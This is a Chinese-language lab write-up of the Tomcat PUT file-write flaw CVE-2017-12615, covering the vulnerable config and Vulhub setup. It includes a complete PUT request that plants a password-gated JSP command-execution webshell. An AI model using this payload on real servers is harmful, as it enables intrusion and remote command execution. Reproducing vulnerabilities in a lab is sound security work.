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79 lines
2.1 KiB
Markdown
79 lines
2.1 KiB
Markdown
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# Apache Tomcat PUT方法任意写文件漏洞 CVE-2017-12615
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## 漏洞描述
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参考：
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- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
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- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
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- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
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漏洞本质Tomcat配置了可写（readonly=false），导致我们可以往服务器写文件：
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```
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<servlet>
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<servlet-name>default</servlet-name>
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<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
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<init-param>
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<param-name>debug</param-name>
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<param-value>0</param-value>
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</init-param>
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<init-param>
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<param-name>listings</param-name>
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<param-value>false</param-value>
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</init-param>
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<init-param>
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<param-name>readonly</param-name>
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<param-value>false</param-value>
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</init-param>
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<load-on-startup>1</load-on-startup>
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</servlet>
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```
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虽然Tomcat对文件后缀有一定检测（不能直接写jsp），但我们使用一些文件系统的特性（如Linux下可用`/`）来绕过了限制。
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## 漏洞影响
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```
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Apache Tomcat 7.0.0-7.0.81（默认配置）
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```
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## 环境搭建
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Vulhub启动Tomcat 8.5.19环境：
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```
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docker-compose build
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docker-compose up -d
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```
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运行完成后访问`http://your-ip:8080`即可看到Tomcat的Example页面。
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## 漏洞复现
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直接发送以下数据包即可在Web根目录写入shell：
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```
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PUT /2.jsp/ HTTP/1.1
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Host: your-ip:8080
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 5
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<% if("poc".equals(request.getParameter("pwd"))){
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java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
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int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
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while((a=in.read(b))!=-1){
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out.println(new String(b,0,a));
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}
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out.print("</pre>");
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}
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%>
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```
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如下：
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